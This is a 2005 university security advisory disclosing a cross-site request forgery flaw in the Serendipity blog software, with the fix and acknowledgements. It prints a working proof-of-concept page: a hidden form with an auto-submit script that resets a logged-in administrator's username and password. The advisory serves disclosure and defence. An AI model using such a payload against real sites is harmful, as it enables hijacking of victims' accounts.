Serendipity: Account Hijacking / CSRF Vulnerability
===========================================================
Serendipity: Account Hijacking / CSRF Vulnerability
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0509-001, September 29, 2005
===========================================================
Affected applications
----------------------
Serendipity (www.s9y.org)
Versions 0.8.4 and prior.
Description
------------
An attacker is able to change the username and password of a logged-in user
(and can therefore hijack his account) by tricking the user into clicking a
link to a page with the following contents:
<form
action="http://your-server/path-to-s9y/serendipity_admin.php?serendipity[adminModule]=personal&serendipity[adminAction]=save"
method="post">
<input type="text" name="username" value="evilguy" />
<input type="text" name="password" value="evilpass" />
<input type="text" name="realname" value="John Doe" />
<input type="text" name="userlevel" value="255"/>
<input type="text" name="email" value="john@xxxxxxxxxxx" />
<input type="text" name="lang" value="en"/>
<input type="submit" name="SAVE" value="Save" />
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
The fields "your-server" and "path-to-s9y" in the form's action attribute have
to
be adjusted accordingly.
Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be
launched for performing other requests disguised as the victim.
However, this problem is not limited to Serendipity, but affects a large
number of comparable web applications available at this time.
Solution
---------
Version 0.8.5 of Serendipity is reported by the developers to fix
the Account Hijacking vulnerability as well as the general CSRF problem itself.
Acknowledgements
-----------------
Thanks to Serendipity developer Garvin Hicking for his quick response and
professional cooperation.
Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at